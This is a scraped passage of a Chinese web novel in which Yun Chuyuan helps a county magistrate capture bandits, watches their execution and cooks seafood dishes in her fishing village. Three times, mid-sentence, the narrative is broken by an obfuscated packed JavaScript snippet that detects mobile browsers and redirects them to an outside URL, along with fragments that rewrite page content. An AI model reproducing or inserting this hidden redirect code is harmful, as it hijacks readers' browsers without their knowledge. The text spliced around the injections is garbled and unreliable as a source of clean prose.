云楚沅连忙摆手，后退两步。 裴昱臣见状挡在她的身前，捏着嗓子矫揉造作地说道：“大当家，你怎么又相中别人了？她这干巴巴的身子有什么好的？” 大当家醉的不轻，瞧着眼前粉衣女子嗔怒的样子，心里十分受用，“我……我自然是更中意你的。”说罢，他跌跌撞撞地扑向裴昱臣，覆上他的肩膀。 云楚沅不敢再出声，而是小心翼翼地观察着四周，默默记下这些土匪的面容以及不远处巡逻队分布的位置。 据裴昱臣得到的消息，这黑水寨满打满算有五十余人，在这院中吃喝的人约莫有二十三四人，皆是寨子里的小头目。 剩下的二十人分两队在寨子的正门和后山巡逻，不远处的小队是正门放哨的那一批。 “好菜来啦！大当家您今日猎来的鹿，小的给您炖煮了。”伙夫端着一大盆鹿肉汤送了上来。 小火慢煮过的鹿肉散发着醇厚的香味，土匪们纷纷来了精神，这可是难得的珍馐，富商贵族都难得吃上一回，他们老大今日运气好，在林中寻到了一只小鹿。 伙夫拿木勺舀起一勺肉汤，先递给了大当家，炖得软烂的鹿肉在碗中摇晃，把大伙肚子里的馋虫都勾了出来。 大当家不客气地接过来，连吃两大碗，抹了把嘴，意味深长地盯着裴昱臣说道：“小美人，今夜就叫你知晓这鹿肉的好处。” 裴昱臣偏过头遮住自己扭曲厌恶的表情，心里嘲讽道，待会你就知晓这鹿肉到底怎么好了。 云楚沅滴溜溜的眼珠子不停打量着毫不起眼的伙夫，这就是裴昱臣派到黑水寨的卧底吗？当真是其貌不扬。 这些土匪欺男霸女的日子过久了，还真当自个是这临海县的土皇帝了？如此不设防，难怪他们会中招。 一炷香的时间过去，土匪们一个接一个地栽到下去，汤中的蒙汗药已然生效。 裴昱臣一把甩开大当家攀在他肩头的手掌，脸上满是厌恶之色，他扯下粉色外衫和发髻中的珠钗，丢到地上。 “大人，小人已经点燃烟火，通知山脚下的人往山上赶来。”伙夫恭敬地向裴昱臣行了一礼。 裴昱臣点头，“你留在此地接应他们，顺便将地上这些人绑起来，一同押回县衙。我去解决后山剩余的土匪。” “是！” 伙夫掏出一大把麻绳，手脚麻利地开始捆绑被药趴下的众人。 衙门里负责治安和缉捕的捕快也就三十来人，要想拿下黑水寨，不能猛攻，只能智取，因此裴昱臣才会出此下策。 裴昱臣安排了这出里应外合的计谋，他以身入局牵制住黑水寨的头目，伙夫趁机下黑手，衙役们从正门进攻，剩下的人也就不成气候了。 他冲云楚沅使了个眼色，两人一同往后山走去。 云楚沅明白他的意思，这是听过他的计划后，她主动提出来的点子。 裴昱臣独自一人对上后山的十人巡逻队，不一定能有十成的把握，她可以先引走一部分人，助他一臂之力。 想到这，云楚沅将发丝揉乱，装出一副惊慌失措的样子向后山的方向跑去。 “站住！” 脚踩在落叶上的“哗啦”声，自然瞒不过土匪们的耳朵，有五人直直追了上来，其他人守在原地。 云楚沅喘着粗气穿梭在灌木丛中，寂静的夜里“呼哧呼哧”的呼吸声清晰可闻，荆棘划过她的手臂留下青紫的伤痕。 顾不上疼痛，云楚沅心中谨记着自己的使命，只要为裴昱臣拖延时间，解决那几个人后，他就会追上了。 脚下突然出现一个树桩，云楚沅一不小心被绊倒在地，扑倒之时，她的手心划过粗糙的泥土地，顿时擦出一道道触目惊心的血痕，伤口处布满沙砾和泥土。 云楚沅强忍疼痛，从地上爬起来，一瘸一拐地继续往前走去。 受伤的她很快被身后的土匪追上，他们举着刀将她团团围住，“小妞，胆敢偷跑？小命不要了？” 其中一人更是直接将刀架到了她的脖子上。 云楚沅不禁苦笑，自穿越到古代，她一直都在面临磨难，难道她就要命丧于此了吗？ 闪着寒光的刀在她白皙的脖颈印出一道血痕，她睫毛颤抖，轻轻闭上了眼睛。 “铛！”一声脆响。 林中飞来一颗小石子，弹落了那柄弯刀。 云楚沅后知后觉地睁开眼，身着白色里衣的男子从天而降，他的手中同样拿着一把弯刀。 裴昱臣一脚踢在掉了刀的土匪的胸口，将其踹倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860558|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，把云楚沅护在了身后，小声说道：“云姑娘，抱歉，在下来迟了。” 云楚沅摇头一笑，“不，裴大人来的正是时候。” 距离最近的一个土匪挥刀砍来，裴昱臣抓着云楚沅的手腕险险避过。 “云姑娘，你先躲起来！” 云楚沅马不停蹄地窜到一棵树后，保证自己不会影响到他的发挥。 剩下的三个土匪看到同伴倒地不起，目眦欲裂地齐齐冲了过来。 裴昱臣身手矫健，步伐轻盈，躲过连续的劈砍过后，瞅准时机，一刀割伤一人的后腿，令他丧失行动能力，又划过另一人的腹部，使其倒地哀嚎。 最后一人见势不妙，转身想要逃跑，裴昱臣乘胜追击，手起刀落，挑断他的脚筋。 转眼间，五名土匪皆已负伤，瑟瑟发抖地连声求饶。 云楚沅见裴昱臣已经搞定了他们，这才松了口气，从树后走出来，向他施了一礼，“裴大人，您又救我一命。” “姑娘请起，你也是为了助我，这才身陷险境。”裴昱臣虚扶她的手臂，一下子注意到她破损的衣袖和滴着鲜血的手心。 “姑娘受伤了？” 裴昱臣用刀割下衣摆处的布条，正想为她包扎，又觉不妥，遂将布条递到她的手中，“姑娘先暂时止住血，待回到衙门我请大夫来为你上药。” 云楚沅接过布条随意地在手上缠了几圈，“不用了，这点小伤过几日就好了。” 裴昱臣依旧坚持道：“姑娘也算为我而伤的，倘若裴某不做表示，良心难安。” 既然他都这样说了，云楚沅只好点头应下。 两人等衙役们前来会和后，一同回到了临海县的县衙。 天色已晚，裴昱臣派人骑马去小渔村云家递了个消息，请大夫为云楚沅诊治过后，留她在县衙内宅的西厢房住了一夜。 翌日，云楚沅睁眼看到陌生的床幔，反应了一会儿，才想起自己身处何地。 她麻利地起身，洗漱收拾了一番，想着今日便要回小渔村去，离开之前，就为裴县令做一顿早膳报答昨日之事吧。 县衙的厨房内只有一名厨子，云楚沅说明来意后，厨子立马答应了她自己动手的请求。 这女子能住进县衙的后宅，指不定和大人关系匪浅，厨子自觉参透了隐秘之事，放心地离开了。 云楚沅取下一只陶制砂锅，处理好鲜虾和螃蟹，用虾头炒出虾油，开始熬粥，一刻钟后，香菇、大虾和螃蟹相继入锅，调味后撒上葱花，一锅热气腾腾、鲜甜清淡的海鲜粥就煮好了。 在书房处理公务的裴昱臣听到下人通报后，令人将门外的云楚沅请了进来。 “云姑娘，你手上伤势未愈，怎能操劳膳食之事，交给下人去做就好了。”裴昱臣赶紧起身接过她手里盛着热粥的木盘，不赞同地看向她包住的双手。 “不打紧的，裴大人帮我许多，我也想为您做点事，正巧大人爱吃我做的吃食，一碗海鲜粥实在不足挂齿。”云楚沅诚恳地说道。 裴昱臣知晓她是真心实意的，便不再多言。 轻舀一勺海鲜粥送入口中，咸鲜之味在舌尖蔓延开来，他略微点头，神色舒缓，早膳用此粥，实属妙哉。 5. 青天大老爷 剿匪之事顺利结束，裴昱臣欲将黑水寨众人斩首示众、以儆效尤，同时也是给临海县苦之久矣的百姓们一个交代。 城东的菜市口挤满了熙熙攘攘的民众，维持秩序的衙役们神色严肃，围成一圈阻挡过分靠近的百姓。 临时搭建的高台上，裴昱臣身穿深青色的官服，头戴乌纱帽，面容威严，高坐于案桌后。 两排门神一般的衙役，手持杀威棒，震慑着在场之人，四周充满肃杀之气。 临海县的百姓头一回见如此大的阵仗，很是稀奇，皆拖家带口地前来围观。 一盏茶的时间过后，铁链拖行在地上的声音从远处传来，几名土匪被五花大绑着押送了上来，他们皆是黑水寨的当家，为首的大当家满脸横肉、怒目圆睁，此刻沦为阶下囚，早已失去昔日里为非作歹时的耀武扬威。 “威——武——” 衙役们低沉的吼声响起，台下嘈杂的众人被这气势磅礴的氛围唬住，纷纷住了嘴，现场瞬间寂静下来，落针可闻。 裴昱臣抬手示意衙役将土匪押至高台中央，他目光如炬，扫视过这些恶贯满盈、被绳之以法的匪徒，心中感到畅快，为民除害是他为官的初衷。 寒窗苦读十几载，一朝考中状元郎，只是如今的朝堂不太平，皇帝年事已高，太子母族式微，以姚丞相为首的一群文官拥趸二皇子，对那九五之尊的宝座虎视眈眈。 裴昱臣不愿卷入夺嫡之争，拒绝姚党的拉拢，选择做个远离京城的地方小官，但他的雄心壮志未曾泯灭，他坚信自己即便身处偏远之地，依旧能做出一番功绩，造福一方百姓。 裴昱臣拿起罪状文书，高声宣判道：“黑水寨匪类，作恶多端，为祸一方百姓，搅得临海县不得安宁，尔等罪行罄竹难书，今日本官便令汝等伏法受诛！” 洪亮的声音，传进每一名百姓的耳朵，回荡在菜市口的各个角落，引得周围民众拍手叫好。 几个土匪面色灰败，两股战战，对着县令破口大骂，却都无法改变即将迎来的斩首之刑。 裴昱臣面色冷峻，站起身来理了理官服，从旁边县丞的手中接过刑签，用力掷于地上。 监斩官高声复述行刑的命令，刽子手高举着鬼头刀大步上前，在众目睽睽之下，喷洒上一口烈酒。 锋利无比的刀刃闪烁着寒光，土匪们见状瘫软在地，不死心地拼命挣扎，手腕被绳索磨破，被衙役死死按住。 刽子手绕着几人走了一圈，最后将目光锁定在大当家身上，他双手紧握刀柄，高高举过头顶，却又稍作停顿，凝聚力量的同时，延长这位臭名昭著的恶徒临死前的恐惧。 “咔嚓”一声脆响，刀光闪过，鲜血喷涌而出，飞溅至刽子手的脸颊，大当家人头落地，残余的身躯无力栽倒在地。 围观的百姓们虽早有预料，但仍被吓得发出阵阵惊呼，妇孺孩童更是捂住眼睛，不敢细瞧这可怖的一幕。 其余土匪吓得屁滚尿流，跪在地上不停地磕头求饶，可刽子手的刀不留情面，干脆利落地依次斩落，宛如砍瓜切菜一般轻易了结这些恶徒。 鲜血流淌在青石板上，触目惊心的一片红，缓缓蔓延至高台边缘，“啪嗒啪嗒”滴落下去，近处的百姓不由后退一步。 裴昱臣紧抿着嘴唇，转身面向台下的百姓，朗声道：“此等匪徒，罪孽深重，皆已伏诛，望诸位引以为戒，安分守己，不行恶事。若有冤屈，尽管来县衙敲响鸣冤鼓，本官定当秉公执法，为民伸冤，还临海县一片安宁！” 台下百姓闻言激动不已，纷纷跪地叩首，齐声高呼青天大老爷。 大当家的头颅被高悬在市集门口，人群散去，只余一地血迹。 街道逐渐恢复平静，裴昱臣轻叹一口气，转身走下高台，他深知这不过是为官之路的开始。 日后，还有诸多事务等他操持，临海县还有许多藏污纳垢之处，不平之事亟待有人伸张正义。 云楚沅在人群后旁观了这场刑罚，这是她第一次亲眼目睹有人死亡，冲击力不可谓不大。 同时，她也清楚这群人是罪有应得，他们手上的人命只会多不会少。 回到小渔村，云楚沅紧绷的那根弦放松下来，昨日的经历当真是惊险万分。 “阿姐！你终于回来了！” 楚河和楚清焦急地站在村口张望，海风吹起他们两个单薄的衣衫，却吹不走他们心头的担忧。 “阿姐，出了何事？昨日你怎么没回来？”云楚河面色凝重地走近，手指颤抖地抓住她的衣角。 云楚沅蹲下身子搂住两个孩子，柔声说道：“阿姐帮了县令一点小忙，没出事，你们不用担心。” 云楚河悄悄松了口气，他昨夜辗转反侧，提心吊胆，惦念着长姐是否遇上了祸事。他可不想即失去爹爹和娘亲之后，再失去阿姐。 精神不济的云楚沅回到侧屋，小憩了一会儿，身上的疲惫渐渐散去。 云楚沅坐在床榻上数着陶罐里的银子，这是前几日出海捕捞后卖了好几篓鱼虾赚来的，碎银子加起来约莫有十两。 金手指可真好用啊！云楚沅喜滋滋地想，要是多出海几趟，她都可以直接买下一间铺子了。 午时一刻，云楚沅走出房门准备做饭，灶房里已经升起了青烟，原是楚河和楚清体谅她劳累，先一步煮上了白饭。 “真乖，阿姐为你们做好吃的。” 云楚沅撸起袖子，从院中的大水缸中捞出一条不小的黄花鱼，刮鳞后去腮、去内脏，往鱼身两侧划出花刀，用姜片和黄酒腌制一会去去腥气。 她打算做一道红烧黄花鱼，一是犒劳一下辛苦多日的孩子们，二来她也想要吃顿好的压压惊。 起锅烧油，云楚沅将黄花鱼小火慢煎至两面金黄，盛出备用。 接着取出一只小碗调制灵魂酱汁，三勺酱油、一勺豉汁、一勺黄酒、一勺豆酱、半碗清水，再加少许糖。 这些调料是云楚沅走遍临海县酱坊和调料市买来的，每一样都是精心挑选过的。 古代的调味品和现代有所不同，酱油也没有老抽和生抽之分，云楚沅凭借多年下厨的经验，做出菜品的味道与从前有九分像。 锅中的底油加蒜末爆香，倒入黄花鱼和酱汁炖煮一刻钟，待汤汁浓稠便可出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860559|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅，最后再撒一把葱花增香。 云楚河和云楚清兄妹二人轻嗅着空气中的鱼香味，对着灶房的方向望眼欲穿。 阿姐的手艺愈发好了，也许就连湘香馆的饭菜都比不上他们长姐做的，虽然他们不曾去过那家县里有名的饭馆，但在二人心中，自家阿姐的厨艺是无人能及的。 “开饭了。” 红烧黄花鱼放在木桌的最中间，旁边还有一道凉拌海带丝做配菜。 三人拿起筷子，不约而同地伸向中间的红烧鱼。 云楚河瞅准鱼腹，夹了一块嫩鱼肉，绵软的鱼肉在嘴里化开，咸甜的酱汁在舌尖流转，他咂摸着嘴，表情沉醉地说道：“阿姐，这是我吃过最好吃的鱼。” 一旁的云楚清挑了鱼背的位置下筷，鱼肉连着鱼皮一起被扯下，鱼肉鲜嫩，鱼皮滑腻，两者一同入口，宛如一团嫩豆腐滑入喉咙，吃得小姑娘的双眼骤然放光。 黄花鱼吃得干净，只剩下一根主骨，两人又将汤汁倒入碗中伴着白饭吃，这浓郁的酱汁特别下饭。 一直无人问津的凉拌海带丝这才有人动筷，清脆爽口、酸酸辣辣的味道让人眼前一亮。 焯过水的海带丝去除了原本的腥味，醋、蒜末、茱萸是其中不可或缺的调料，一点糖提鲜，一勺酱油增味，酸辣甜咸，滋味丰富。 吃饱喝足的三人走出家门沿着海边漫步，午时的海岸风景宜人，金色的光撒在广袤无垠的海面上，宛如一幅色调柔和的画卷，赤脚行走在沙滩，浪花拍在脚背上驱散些许燥热。 “楚沅，带清清他们出来玩呀？” 云楚沅听到有人叫她，回头望去，来人是隔壁钱家的小女儿春香。 “春香姐，好巧啊。” 春香腼腆一笑，从手里提着的桶里拿出两串贝壳手链递给她和云楚清。 “这是我自己编的，送给你们。” 每一枚贝壳都十分精美，有圆形的、扇形的、有螺旋状的，外壳光滑，泛着珠光，在阳光的照射下熠熠生辉。 云楚沅戴到腕间轻轻晃动，相互碰撞的贝壳发出清脆悦耳的声响。 “春香姐，你的手真巧。”云楚沅笑着说道。 云楚清赞同地点头，“春香姐姐绣工也好，做的荷包可好看了。” 少女不好意思道：“你们喜欢就好。”说完她就转身离开了。 看着钱春香离开的背影，云楚沅的脑海里回忆起与她相关的事。 钱春香年长云楚沅三岁，为人勤劳朴实，是个热心肠的好姑娘，偏偏在婚事上屡屡碰壁。 她订过两门亲事，前头那个染上一场风寒去了，后头那位出海时船翻溺亡。 自此以后，十里八乡的媒人都对她避之不及，有些碎嘴子的妇人给她冠上了一个克夫的名声。 云楚沅叹了口气，不禁替她感到不平，女子在这世道活得艰难，世人对女子的要求极其苛刻。 两个未婚夫婿的死明明和钱春香没有丝毫关系，可就是有愚昧无知之人喜欢把莫须有的罪名强加到女子身上。 云楚沅想着，以后有机会，一定要帮衬春香姐一把。 6. 海蛎子 二月中旬，天朗气清，恰逢退大潮，海岸边露出一大片滩涂，隐匿在深处的礁石群也显现出来。 云楚沅带着弟妹出来赶海，脚踩湿润的细沙，留下一串深深的脚印，又很快被涌上来的浪花抚平。 嶙峋的礁石形状奇特，趴伏在岸边，犹如大海忠实的守望者，上面遍布贝类和藻类。 小渔村的渔民四散在各处，穿梭在礁石群间，避开石头尖锐的棱角，寻找着躲藏在石缝中的海鲜。 吸附在礁石上密密麻麻的青灰色身影很是眼熟，云楚沅走进一瞧，十分惊喜，这不是海蛎子吗？ 海蛎的外壳纹理粗糙，边缘是微微的卷边，用力撬开外壳，露出里面肥美饱满的海蛎肉。 云楚沅简单清洗处理过后，迫不及待地塞了一只海蛎肉进嘴，生吃海蛎最大程度地保留了它原汁原味的鲜甜，口感细腻爽滑，十分弹牙，这一口下去，甚是满足。 “楚河、楚清，这些牡蛎个头大，咱们多挖一些，回家我给你们做好吃的！”云楚沅兴致勃勃地说道。 两个孩子闻言眼神一亮，顿时打起了精神，手上的动作加快了不少。 云家姐弟一人提着一个竹篓，步履匆匆地往家赶，路上遇到同村的村民，打招呼都带着几分敷衍，他们三人的心思早就飞到了今日要吃的牡蛎大餐上了。 归家后，云楚沅指挥着两个弟妹接来两大盆水。 “哗啦哗啦！” 海蛎子全被倒入木盆中，云楚沅取来柳枝刷子用力刷着，洗去海蛎子表面的泥沙污垢，渐渐地，水面泛起一圈圈浑浊的涟漪。 洗净的海蛎子捞出，放置在案板上，云楚沅拿起一把锋利的小刀，将刀尖对准硬壳较宽的那一侧，插入缝隙之中，慢慢转动刀柄，动作小心地贴着壳刮一圈，避免破坏里面的海蛎肉。 “咯嘣”一声，坚硬的外壳被撬开，鲜嫩的海蛎肉静静躺在其间，夹杂着些许海水和沙砾。 用清水冲洗一下残留的泥沙，接着处理海蛎肉上的内脏和黑色的脏东西，云楚沅对此十分娴熟。 “咚咚咚！”厨房传来清脆的声响，云楚河按照阿姐的吩咐剥了几头蒜，又用石臼将十几颗茱萸捣碎。 云楚沅走进来后，将桌上的蒜瓣用刀背拍碎碾压，蒜末如细沙一般散在案板上。 一旁的云楚清蹲在灶台前帮忙烧火添柴，猪油在烧热的铁锅中滋滋作响，云楚沅将蒜末和茱萸碎倒入其中。 “滋啦”一声，蒜香混合着辣味如同一股无形的浪潮扑面而来，迅速在灶房中弥漫开来。 锅中雪白的蒜泥变得金黄，云楚沅估摸着加入酱油、豉汁、盐、糖，继续翻炒。 云楚沅特意多做一些蒜蓉酱，装满了一个小陶罐，这用油熬制的蒜蓉酱比较耐存放，而且用来拌饭、拌面、做蘸料都是极好的。 她把海蛎子摆放出来，再将精心熬制的蒜蓉酱浇在上头，饱满白净的海蛎肉，在金黄的蒜蓉酱的映衬下，显得格外诱人。 最后将海蛎送入蒸笼，不一会儿，朦胧的雾气升起，伴随着海蛎与蒜蓉相融合，散发出让人垂涎欲滴的香气。 云楚沅给翘首以盼的楚河和楚清一人分了一只，两人顾不上烫，急切地将其倒入嘴中。 “呼呼！”两人用手在嘴边扇着风，轻咬着肥美多汁的蒜蓉海蛎。 云楚沅摇头失笑，从面粉罐舀出一勺面，准备做海蛎煎饼。 面粉加入鸡蛋、水和盐，调成略微粘稠的丝滑面糊，包裹住海蛎肉。 油热后，一勺勺带着海蛎的面糊下锅，小火慢煎，面糊渐渐凝固，慢慢出现金黄的焦边，随即翻面，待煎至两面金黄，外酥里嫩的海蛎煎饼就做好了。 云楚沅又从竹篓底部掏出一团宛如深褐色头发的海发菜。 海发菜又名龙须菜，每次赶海，都能看见许多飘在海岸边，它的口感很脆，咀嚼起来能听到“咯吱咯吱”的声音。 发菜与发财同音，寓意很好，是海边渔民们常吃的一种海藻，可以凉拌，或是清炒，还能煲汤。 云楚沅当下就打算用它做一道发菜海蛎汤，既有发菜的爽口，又有海蛎的滑嫩。 烧开的热水，加入姜片、豆腐和海发菜，裹粉的海蛎肉倒入锅中，最后加盐和葱花。 这道汤呈现出淡淡的奶白色，用勺子轻轻搅动，纤细如丝的发菜在汤里飘荡，海蛎如同一颗颗珍珠点缀其中。 云楚沅从柜子里取出两只陶碗，盛了一碗发菜海蛎汤，另一个碗又装了些海蛎煎饼和蒜蓉海蛎。 “你们两个先吃吧，我去给春香姐送两份吃食，她教会楚清做针线活，上次还赠我们贝壳手链，我还未曾答谢过人家。”云楚沅一边说着，一边往院子外走去。 “阿姐，我等你回来吃。” “我也是。” 云楚河和云楚清乖乖地坐在木凳上，并未动筷。 “那我尽快回来。”云楚沅冲他们笑了笑。 “叩叩叩。” 云楚沅站在距离她家十几米远的石砌房屋外敲门。 “吱呀”一声，木门从里面打开，走出来一位面相和善、身材矮小的妇人，正是钱婶，她出声问道：“楚沅，有什么事？” “钱婶，春香姐在吗？这是我做的吃食，想感谢春香姐对我们家楚清的照顾。”云楚沅笑眯眯地说道，将手中端着的碗递到钱婶跟前。 院子里听到说话声的春香走了出来，脸颊微红，“楚沅，你无需客气，这只是小事一桩。云姨以前对我也很好，楚清还年幼，我多关照她是应当的。” “是啊，楚沅，不用如此见外。”钱婶也赶紧回道。 云楚沅对此并不同意：“礼尚往来，若是只有你一人付出，我们却理所应当地欣然接受，那我们云家人岂不成了白白占便宜的小人了吗？” 正在她们互相推托之际，一道鬼鬼祟祟的身影从门后探了出来。 “哟，这不是楚沅吗？给我们家送东西来了？” 说话之人是钱家的儿媳林秀秀，她一脸精明，眼珠子不安分地四处瞅着，笑盈盈地跨步上前，挤开钱婶和钱春香，接过了云楚沅手中的碗。 “娘，小妹，难得人家楚沅送东西给我们，怎么能不收下呢？岂不是辜负了人家一片心意。” 林秀秀斜了钱春香一样，阴阳怪气地说道：“有些人成日吃家里的、用家里的，都不知往家里带些东西，真是不知羞愧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860560|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钱春香的脸色一下子变得苍白，一下子又涨得通红，低垂着头，不再言语。 钱婶的脸色也很难看，白了林秀秀一眼，“我们钱家还轮不到你做主，我的东西想给谁就给谁，你不乐意，就滚回娘家去住。” 林秀秀的娘家在隔壁的边海村，她家里是出了名的重男轻女，林母连生六个姑娘才得了个宝贝儿子，自然不在意女儿们的死活。 排行老四的林秀秀有点小聪明，知道为自己打算，早早巴上了钱家独子，要死要活的非他不嫁，这才脱离苦海。 林秀秀不敢再跟婆婆呛声，转头又对着云楚沅说道：“楚沅啊，我听说你在县城卖吃食赚了不少银子，可不要忘了我们这些同乡啊，也教教我们怎么做生意呗。” 林秀秀此人不算大奸大恶之辈，就是喜欢攀比，总是盯着别人家的事。 云楚沅面上的笑容没有丝毫变化，不紧不慢道：“钱家嫂子，我这手艺跟我娘学的，算是她留下的遗产，我怎能随意交付给外人呢？” 林秀秀噎了噎，没想到平日里说话细声细语的云家小姑娘还有这般牙尖嘴利的时候，竟搬出死人来膈应她，这死了爹娘之后，真是没了教养。 不等林秀秀将这话说出口，钱婶对她呵斥道：“你还要不要脸？怎好意思讨要别人家谋生的秘方？改日我去林家问问，你老娘是不是只管生不管养，才会教出你这样没脑子的货色！” 林秀秀撇撇嘴，小声嘟囔道：“就会拿我娘家人说事。” 钱婶推了她一把，怒道：“赶紧进去做饭，别在这给我们老钱家丢人现眼了，我儿子娶了你真是倒了八辈子血霉！” 林秀秀不情不愿地端着两碗菜回去了。 钱婶握住云楚沅的手，歉意地说道：“楚沅，别理那个拎不清的婆娘，我们钱家是本分人，断然不会觊觎你手里的吃食方子。” 愧疚的钱春香着急地解释：“楚沅，我从来没有这样的想法，我嫂子说的糊涂话你不要放在心上。” 云楚沅心里清楚是怎么回事，她爹娘生前就和钱家走得近，自然提起过他们的为人。 他们一家都是勤勤恳恳的老实人，就算儿媳妇是个搅家精，有二老压在头上，也翻不出什么风浪来。 即便相信她们的为人，云楚沅也不会在面上表现出来，毕竟，防人之心不可无。 “钱婶，春香姐，我知道钱嫂子就是嘴上说说，当不得真。” 顿了片刻，云楚沅煞有其事地说道：“实不相瞒，这配方是我们云家祖传的，向来只传女不传男，外人要想学，得做我们云家的媳妇。” 接着，她又装作一副惋惜的样子，叹了口气，“唉，可惜啊，钱嫂子生不逢时，和我们家楚河年纪相差太大，差了点缘分。可谓是，君生我未生，我生君已老呀。” 这番夸张又荒唐的话术砸下来，唬得钱婶和钱春香一愣一愣的，两人信以为真。 “这这这，原是如此。村里还有几个懒婆娘在背后说你忘恩负义，我回头定要和她们好好说道说道。” 云楚沅挑了挑眉，看来眼红她的人还不少啊。 可那又怎样？谁叫她有本事呢，以后她们嫉妒的日子多了去了。 7. 自制蚝油 “阿姐，你这是做什么呢？”梳着双丫髻的小丫头好奇地眨着灵动的双眸。 经过这段时日吃食上的花样百出，云楚沅将两个孩子喂养得圆润了不少，他们不再像刚见面时那样瘦小。 云楚沅轻捏了一样云楚清长了肉的脸蛋，笑着说道：“阿姐在做一种酱料。” 剩余的海蛎还有不少，云楚沅打算做一些蚝油。 蚝油是用牡蛎熬制而成的，味道极鲜，是云楚沅做菜时不可或缺的一味调料，炒菜时加一点蚝油，可以让原本寡淡的菜肴增添更多风味。 云楚沅把海蛎肉放入锅中，小火慢熬，肉质逐渐收缩，汁液慢慢释放出来，乳白的汤汁像是大海浓缩的精华，散发着淡淡的鲜甜味。 熬制海蛎汁的过程需要十足的耐心，云楚沅全程专注地守在灶台前，时不时地用勺子搅拌，避免其粘锅。 “阿姐，我来替你。” 云楚清看着她已经站了有一刻钟，期间重复做着搅拌的动作，担心长姐受累，她自告奋勇，接过了云楚沅手中的大勺子。 “清儿真贴心。”云楚沅对小妹的关怀十分受用，搬来小板凳坐在一旁，轻轻揉捏着酸胀的手臂，这熬酱料可真是个体力活。 “对了，楚河跑哪去了？” 院子里很安静，往日里小弟都要照看水缸里养的鱼虾，今日倒是没听到他的动静。 云楚清一边认真地搅动，一边回道：“哥哥跟着阿汤哥去近海处捞毛虾去了。” 毛虾体型扁小，壳薄肉少，煮熟晒干后便是虾皮，毛虾还是做虾酱的原料。 云楚沅来了兴趣，待小弟回来，她又有事做了，住在海边，就是没有闲着的时候。 “楚河何时与阿汤哥走得这么近了？” 她们口中的阿汤哥是住在村尾的青年，他爹是逃荒来的，娶了小渔村的孤女，在此落户定居。 只是阿汤他爹身子骨不好，她娘难产落下了病根，待他五岁时，爹娘先后撒手人寰，只留他一人艰难度日。 阿汤从小就沉默寡言，和村里人不亲近，还有不懂事的孩子见着他就朝他扔石头，笑话他是个扫把星，克死了爹娘。 如今他都年过二十五了，仍旧独身一人，没有亲属为他张罗，他自个也不放在心上。 云楚沅实在好奇，这样孤僻的一个人，怎么和她家小弟扯上了关系。 云楚清欲言又止地看了她一眼，犹豫道：“阿姐，我说了你可别气。” “说吧，什么事还要瞒着我呀？” 云楚清吞吞吐吐道：“咱爹娘刚过世，阿姐你躺在床榻上昏迷不醒的那几日，我和哥哥一出门就被人指指点点，村里的小孩和哥哥起了冲突，是路过的阿汤哥拦住了他们。” 云楚清一想到那群小孩恶毒的话，就双眼发红，他们说她爹娘命薄，接不住龙凤胎的福气，还说她与哥哥不是福报是孽报。 “阿汤哥人可好了，经常悄悄给我们递糖吃。” 云楚沅听了小妹的话，恨得咬牙切齿，谁这么缺德，专戳别人的痛处，“清儿，告诉阿姐，是谁家的小孩欺负你们。” 云楚清偷瞧了一眼阿姐难看的脸色，小声说道：“是刘家的。” 怪不得，她就说谁家的孩子嘴这么毒，原是刘家的三兄弟！ 刘家婶子和她娘同日生产，她一下子生了三个大胖小子，可不就腰板挺直，鼻孔朝天，在村子里横着走。 结果村里的人看不惯她这副德行，纷纷夸赞云家好福气，添了一对龙凤胎，一句龙凤呈祥堵住了刘家婆娘的嘴，掐灭了她的气焰。 自此以后，刘家婶子就单方面和他们云家结下了梁子，处处找茬。 这回定是她嘴上没个把门，在家里说他们家的坏话，叫三个小子学了去，这才跑到楚河和楚清面前说这些难听话。 “砰！” 云楚沅重重地拍了一下桌面，怒道：“刘家人竟如此没有教养，等着瞧吧，他们早晚会遭报应。我倒想知，这般泼皮长大了会有什么出息！” 从古至今，溺爱孩子可没有好下场，他们无不是长成自私自利、不知感恩之人，这刘家的好日子还在后头呢。 “哼，阿姐定要给他们点教训。” 云楚沅站起身，接过小妹手中的勺子，叫她坐下歇歇。 一个时辰后，汤汁变得浓稠，颜色也成了深褐色。 而后，加入盐、糖、酱油调味，既能提升鲜味，又不会盖住牡蛎本身的风味。 接下来就是进行二次浓缩，云楚沅把海蛎肉捞出，将汤汁用纱布过滤，再加清水稀释，继续熬煮至黏稠。 云楚沅舀出几勺淀粉，加水调成水淀粉，缓缓将其倒入锅中，边倒边快速搅动。 淀粉起到了粘合作用，让原本稀薄的汤汁渐渐变得浓稠，有了蚝油的质感。 经过数个时辰的慢熬，海蛎汁变得色泽红亮，浓稠似蜜，宛如凝固的琥珀，散发着诱人的光泽。 这是云楚沅头一回自己动手做蚝油，看样子很成功。 